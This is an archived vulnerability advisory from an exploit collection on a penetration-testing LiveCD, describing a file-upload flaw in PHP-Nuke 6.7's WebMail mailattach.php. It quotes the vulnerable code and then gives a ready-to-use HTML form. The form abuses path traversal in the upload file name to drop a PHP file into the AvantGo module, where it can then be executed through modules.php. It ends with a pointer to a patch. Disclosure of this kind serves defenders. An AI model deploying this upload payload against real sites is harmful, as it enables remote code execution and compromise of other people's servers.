home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / phpnuke / php67.txt < prev    next >
Text File  |  2005-02-12  |  2KB  |  56 lines

  1. Informations :
  2. ░░░░░░░░░░░░░
  3. Language : PHP
  4. Version : 6.7
  5. Website : http://www.phpnuke.org
  6. Problem : File Upload
  7.  
  8.  
  9. PHP Code/Location :
  10. ░░░░░░░░░░░░░░░░░░░
  11. modules/WebMail/mailattach.php :
  12. -------------------------------------------------------------------------------------------------------------------
  13.  
  14. if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND 
  15. !ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
  16.     if (ini_get(file_uploads) AND $attachments == 1) {
  17.     $updir = "tmp";
  18.     @copy($userfile, "$updir/$userfile_name");
  19.     @unlink($userfile);
  20.     }
  21. }
  22.  
  23. -------------------------------------------------------------------------------------------------------------------
  24.  
  25. Exploit :
  26. ░░░░░░░
  27. Anyone can choose the path, the name and the extention of a file to upload. 
  28. Here the file is saved into http://[target]/modules/AvantGo/language/bad.php 
  29. and can be included and executed with the URL 
  30. http://[target]/modules.php?name=AvantGo&file=langague/bad :
  31.  
  32. <form 
  33. action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php" 
  34. method="POST" ENCTYPE="multipart/form-data">
  35. <input type="hidden" name="attachments" value="1">
  36. <input type="file" name="userfile"><br>
  37. <input type="submit" name="Send File>
  38. </form>
  39.  
  40.  
  41. It will work with Windows only because the temp name of the file is anything 
  42. like this : c:\temp\php054.TMP so $userfile doesn't contain any '\' 
  43. character.
  44.  
  45.  
  46. More details/Solution :
  47. ░░░░░░░░░░░░░░░░░░░░
  48. A patch and more details can be found on http://www.phpsecure.info.
  49.  
  50.  
  51. frog-m@n
  52.  
  53. _________________________________________________________________
  54. Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail
  55.  
  56.